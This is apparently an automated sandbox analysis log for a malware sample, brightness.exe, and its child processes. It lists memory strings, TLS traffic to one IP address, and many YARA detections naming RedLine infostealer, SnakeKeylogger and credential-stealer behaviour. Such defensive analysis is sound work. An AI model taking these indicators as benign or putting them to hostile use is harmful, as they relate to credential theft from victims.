          Source: brightness.exe, 00000008.00000002.2228361462.0000000020510000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2200013988.0000000000874000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2230547224.00000000213AA000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2232389580.000000007F0CF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2199559053.000000007F3E0000.00000004.00001000.00020000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3451586724.0000000028909000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026283000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3451586724.000000002893C000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2330274971.0000000002460000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000003.2318831229.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2359054584.0000000021030000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2330274971.0000000002534000.00000004.00001000.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3444167534.000000001A55B000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3452191252.000000001D6AF000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000003.2732557349.000000002D31A000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3444524206.000000002A4CD000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000003.2732597157.000000002D340000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3452062242.000000002D2A0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://sectigo.com/CPS0
          Source: jphwmyiA.pif, 0000000C.00000002.3446215142.00000000274A2000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3446431807.000000001B722000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3446220044.000000002B693000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.ecosia.org/newtab/
          Source: jphwmyiA.pif, 0000000C.00000002.3446215142.00000000274A2000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3446431807.000000001B722000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3446220044.000000002B693000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026283000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3444167534.000000001A55B000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3444524206.000000002A4CD000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.office.com/
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49986
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49941
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49982
          Source: unknownNetwork traffic detected: HTTP traffic on port 49926 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49981
          Source: unknownNetwork traffic detected: HTTP traffic on port 49968 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 49871 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 49912 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 49795 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 49939 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 49826 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49939
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49854
          Source: unknownNetwork traffic detected: HTTP traffic on port 49866 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49897
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49896
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49895
          Source: unknownNetwork traffic detected: HTTP traffic on port 49996 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 49954 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 49967 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 49897 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 49879 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 49802 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 49981 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49927
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49926
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49968
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49802
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49967
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49843
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49887
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49920
          Source: unknownNetwork traffic detected: HTTP traffic on port 49953 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49880
          Source: unknownNetwork traffic detected: HTTP traffic on port 49896 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 50001 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 49986 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 49854 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 49914 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 49982 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49914
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49913
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49879
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49912
          Source: unknownNetwork traffic detected: HTTP traffic on port 49887 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49954
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49953
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49996
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49795
          Source: unknownNetwork traffic detected: HTTP traffic on port 49927 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 49843 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49871
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50001
          Source: unknownNetwork traffic detected: HTTP traffic on port 49895 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 49913 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 49880 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 49920 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 49941 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49826
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49866
          Source: unknownHTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49920 version: TLS 1.2
          Source: unknownHTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49986 version: TLS 1.2
          Source: unknownHTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:50001 version: TLS 1.2
          Source: Yara matchFile source: Process Memory Space: jphwmyiA.pif PID: 6396, type: MEMORYSTR
          Source: Yara matchFile source: Process Memory Space: jphwmyiA.pif PID: 2228, type: MEMORYSTR
          Source: Yara matchFile source: Process Memory Space: jphwmyiA.pif PID: 5476, type: MEMORYSTR

          System Summary

          barindex
          Malicious sample detected (through community Yara rule)
          Source: 20.2.jphwmyiA.pif.400000.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
          Source: 13.2.Aiymwhpj.PIF.211f67a8.6.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
          Source: 20.2.jphwmyiA.pif.400000.1.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
          Source: 20.1.jphwmyiA.pif.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
          Source: 16.1.jphwmyiA.pif.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
          Source: 20.1.jphwmyiA.pif.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
          Source: 12.2.jphwmyiA.pif.25f2a8c6.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
          Source: 12.2.jphwmyiA.pif.25f2a8c6.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
          Source: 12.2.jphwmyiA.pif.25f2a8c6.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
          Source: 16.2.jphwmyiA.pif.1d140000.6.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
          Source: 16.2.jphwmyiA.pif.1d140000.6.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
          Source: 16.2.jphwmyiA.pif.1d140000.6.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
          Source: 20.3.jphwmyiA.pif.283edba0.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
          Source: 20.3.jphwmyiA.pif.283edba0.0.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
          Source: 20.3.jphwmyiA.pif.283edba0.0.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
          Source: 12.3.jphwmyiA.pif.24507b80.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
          Source: 12.3.jphwmyiA.pif.24507b80.0.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
          Source: 12.3.jphwmyiA.pif.24507b80.0.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
          Source: 16.2.jphwmyiA.pif.1d140000.6.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
          Source: 16.2.jphwmyiA.pif.1d140000.6.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
          Source: 16.2.jphwmyiA.pif.1d140000.6.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
          Source: 12.2.jphwmyiA.pif.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
          Source: 16.2.jphwmyiA.pif.1cb10000.4.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
          Source: 16.2.jphwmyiA.pif.1cb10000.4.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
          Source: 16.2.jphwmyiA.pif.1cb10000.4.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
          Source: 12.2.jphwmyiA.pif.25f299de.3.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
          Source: 12.2.jphwmyiA.pif.25f299de.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
          Source: 12.2.jphwmyiA.pif.25f299de.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
          Source: 13.2.Aiymwhpj.PIF.212333d8.7.raw.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
          Source: 8.2.brightness.exe.215f2418.11.raw.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
          Source: 12.2.jphwmyiA.pif.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
          Source: 16.2.jphwmyiA.pif.400000.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
          Source: 20.2.jphwmyiA.pif.2c9b0000.5.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
          Source: 20.2.jphwmyiA.pif.2c9b0000.5.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
          Source: 20.2.jphwmyiA.pif.2c9b0000.5.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
          Source: 20.2.jphwmyiA.pif.2c9b0ee8.4.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
          Source: 12.2.jphwmyiA.pif.28730ee8.4.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
          Source: 20.2.jphwmyiA.pif.2c9b0ee8.4.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
          Source: 12.2.jphwmyiA.pif.28730ee8.4.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
          Source: 20.2.jphwmyiA.pif.2c9b0ee8.4.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
          Source: 12.2.jphwmyiA.pif.28730ee8.4.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
          Source: 16.2.jphwmyiA.pif.400000.1.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
          Source: 16.1.jphwmyiA.pif.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
          Source: 12.1.jphwmyiA.pif.400000.1.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
          Source: 20.2.jphwmyiA.pif.2a0399de.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
          Source: 20.2.jphwmyiA.pif.2a0399de.2.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
          Source: 20.2.jphwmyiA.pif.2a0399de.2.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
          Source: 20.2.jphwmyiA.pif.2a03a8c6.3.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
          Source: 20.2.jphwmyiA.pif.2c9b0ee8.4.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
          Source: 12.2.jphwmyiA.pif.25f2a8c6.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
          Source: 20.2.jphwmyiA.pif.2a03a8c6.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
          Source: 20.2.jphwmyiA.pif.2c9b0ee8.4.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
          Source: 12.2.jphwmyiA.pif.25f2a8c6.2.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
          Source: 20.2.jphwmyiA.pif.2a03a8c6.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
          Source: 12.2.jphwmyiA.pif.25f2a8c6.2.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
          Source: 20.2.jphwmyiA.pif.2c9b0ee8.4.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
          Source: 12.2.jphwmyiA.pif.28730000.5.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
          Source: 12.2.jphwmyiA.pif.28730000.5.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
          Source: 12.2.jphwmyiA.pif.28730000.5.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
          Source: 20.2.jphwmyiA.pif.2d020000.6.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
          Source: 12.1.jphwmyiA.pif.400000.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
          Source: 16.2.jphwmyiA.pif.1a1da8c6.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
          Source: 20.2.jphwmyiA.pif.2d020000.6.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
          Source: 16.2.jphwmyiA.pif.1a1da8c6.2.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
          Source: 20.2.jphwmyiA.pif.2d020000.6.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
          Source: 16.2.jphwmyiA.pif.1a1da8c6.2.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
          Source: 16.2.jphwmyiA.pif.1cb10000.4.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
          Source: 16.2.jphwmyiA.pif.1cb10ee8.5.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
          Source: 16.2.jphwmyiA.pif.1cb10000.4.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
          Source: 16.2.jphwmyiA.pif.1cb10ee8.5.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
          Source: 16.2.jphwmyiA.pif.1cb10000.4.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
          Source: 16.2.jphwmyiA.pif.1cb10ee8.5.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
          Source: 20.2.jphwmyiA.pif.2d020000.6.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
          Source: 20.2.jphwmyiA.pif.2d020000.6.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
          Source: 20.2.jphwmyiA.pif.2d020000.6.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
          Source: 12.2.jphwmyiA.pif.28fc0000.6.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
          Source: 12.2.jphwmyiA.pif.28fc0000.6.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
          Source: 12.3.jphwmyiA.pif.24507b80.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
          Source: 20.2.jphwmyiA.pif.2a0399de.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
          Source: 12.2.jphwmyiA.pif.28fc0000.6.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
          Source: 20.2.jphwmyiA.pif.2a0399de.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
          Source: 12.3.jphwmyiA.pif.24507b80.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
          Source: 20.2.jphwmyiA.pif.2a0399de.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
          Source: 12.3.jphwmyiA.pif.24507b80.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
          Source: 12.2.jphwmyiA.pif.25f299de.3.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
          Source: 12.2.jphwmyiA.pif.25f299de.3.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
          Source: 12.2.jphwmyiA.pif.25f299de.3.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
          Source: 8.2.brightness.exe.21659f78.10.raw.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
          Source: 16.3.jphwmyiA.pif.187dcca8.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
          Source: 16.3.jphwmyiA.pif.187dcca8.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
          Source: 16.3.jphwmyiA.pif.187dcca8.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
          Source: 16.2.jphwmyiA.pif.1cb10ee8.5.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
          Source: 16.2.jphwmyiA.pif.1cb10ee8.5.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
          Source: 16.2.jphwmyiA.pif.1cb10ee8.5.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
          Source: 13.2.Aiymwhpj.PIF.211f67a8.6.raw.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
          Source: 12.2.jphwmyiA.pif.28730000.5.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
          Source: 12.2.jphwmyiA.pif.28730000.5.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
          Source: 16.3.jphwmyiA.pif.187dcca8.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
          Source: 12.2.jphwmyiA.pif.28730ee8.4.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
          Source: 20.2.jphwmyiA.pif.2a03a8c6.3.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
          Source: 20.2.jphwmyiA.pif.2c9b0000.5.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
          Source: 20.2.jphwmyiA.pif.2c9b0000.5.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
          Source: 16.3.jphwmyiA.pif.187dcca8.0.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
          Source: 20.2.jphwmyiA.pif.2c9b0000.5.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
          Source: 12.2.jphwmyiA.pif.28730ee8.4.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
          Source: 20.2.jphwmyiA.pif.2a03a8c6.3.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
          Source: 20.2.jphwmyiA.pif.2a03a8c6.3.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
          Source: 16.3.jphwmyiA.pif.187dcca8.0.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
          Source: 16.2.jphwmyiA.pif.1a1d99de.3.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
          Source: 12.2.jphwmyiA.pif.28730ee8.4.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
          Source: 20.3.jphwmyiA.pif.283edba0.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
          Source: 16.2.jphwmyiA.pif.1a1d99de.3.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
          Source: 12.2.jphwmyiA.pif.28730000.5.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
          Source: 16.2.jphwmyiA.pif.1a1da8c6.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
          Source: 12.2.jphwmyiA.pif.28fc0000.6.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
          Source: 16.2.jphwmyiA.pif.1a1d99de.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
          Source: 16.2.jphwmyiA.pif.1a1d99de.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
          Source: 20.3.jphwmyiA.pif.283edba0.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
          Source: 16.2.jphwmyiA.pif.1a1d99de.3.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
          Source: 16.2.jphwmyiA.pif.1a1da8c6.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
          Source: 12.2.jphwmyiA.pif.28fc0000.6.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
          Source: 20.3.jphwmyiA.pif.283edba0.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
          Source: 12.2.jphwmyiA.pif.28fc0000.6.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
          Source: 16.2.jphwmyiA.pif.1a1d99de.3.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
          Source: 16.2.jphwmyiA.pif.1a1da8c6.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
          Source: 0000000C.00000002.3410702228.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects RedLine infostealer Author: ditekSHen
          Source: 00000010.00000001.2321191405.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects RedLine infostealer Author: ditekSHen
          Source: 00000014.00000002.3451706486.000000002D020000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
          Source: 00000014.00000002.3451706486.000000002D020000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
          Source: 00000014.00000002.3451706486.000000002D020000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Detects executables with potential process hoocking Author: ditekSHen
          Source: 00000014.00000002.3441954113.0000000029FF9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
          Source: 0000000C.00000003.2210977844.0000000024507000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
          Source: 00000014.00000002.3410815376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects RedLine infostealer Author: ditekSHen
          Source: 0000000C.00000002.3443379570.0000000025EE9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
          Source: 00000010.00000002.3451247424.000000001CB10000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
          Source: 00000010.00000002.3451247424.000000001CB10000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
          Source: 00000010.00000002.3451247424.000000001CB10000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Detects executables with potential process hoocking Author: ditekSHen
          Source: 00000014.00000001.2400403863.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects RedLine infostealer Author: ditekSHen
          Source: 00000010.00000002.3451626441.000000001D140000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
          Source: 00000010.00000002.3451626441.000000001D140000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
          Source: 00000010.00000002.3451626441.000000001D140000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Detects executables with potential process hoocking Author: ditekSHen
          Source: 00000014.00000003.2406157824.00000000283ED000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
